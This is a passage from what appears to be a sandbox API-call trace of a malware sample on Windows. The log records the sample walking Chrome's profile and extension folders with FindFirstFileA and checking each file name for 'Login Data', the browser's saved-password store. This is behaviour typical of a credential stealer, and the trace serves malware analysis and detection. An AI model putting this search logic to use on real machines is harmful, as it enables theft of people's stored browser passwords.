IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.632] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.632] lstrlenA (lpString="el") returned 2 [0056.632] lstrcpyA (in: lpString1=0x2dc400, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.632] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el" [0056.632] lstrcpyA (in: lpString1=0x2dc510, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el" [0056.632] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*" [0056.632] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.632] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.632] lstrcpyA (in: lpString1=0x2dc2f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.632] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.633] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.633] lstrlenA (lpString="en_GB") returned 5 [0056.633] lstrcpyA (in: lpString1=0x2dc400, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.633] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB" [0056.633] lstrcpyA (in: lpString1=0x2dc510, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB" [0056.633] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*" [0056.633] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.633] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.633] lstrcpyA (in: lpString1=0x2dc2f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.633] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.633] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.633] lstrlenA (lpString="en_US") returned 5 [0056.633] lstrcpyA (in: lpString1=0x2dc400, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.633] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="en_US" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US" [0056.633] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.633] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.633] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.633] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.635] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.635] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.635] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.635] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.635] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.635] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.635] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.635] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.635] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.636] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.636] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.636] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.636] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.636] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.636] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.636] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.636] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.636] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.636] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.637] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.637] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.637] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.637] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.637] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.637] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.637] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.637] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.637] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.637] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.638] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.638] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.638] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.638] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.638] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.638] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.638] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.638] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.638] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.639] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.639] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.639] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.639] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.639] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.639] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.639] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.639] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.639] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.639] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.639] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.640] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.640] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.640] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.640] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.640] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.640] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.640] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.640] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.640] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.640] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.641] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.641] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.641] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.641] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.641] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.641] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.641] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.641] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.641] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.641] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*.*", lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 0x2dc978 [0056.642] StrStrIA (lpFirst="verified_contents.json", lpSrch="Login Data") returned 0x0 [0056.642] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\*.*", lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 0x2dc938 [0056.642] StrStrIA (lpFirst="128.png", lpSrch="Login Data") returned 0x0 [0056.642] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0056.642] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\*.*", lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 0x2dc978 [0056.642] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.642] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.642] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.643] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.643] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.643] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.643] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.643] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.643] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.643] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.643] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.643] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") 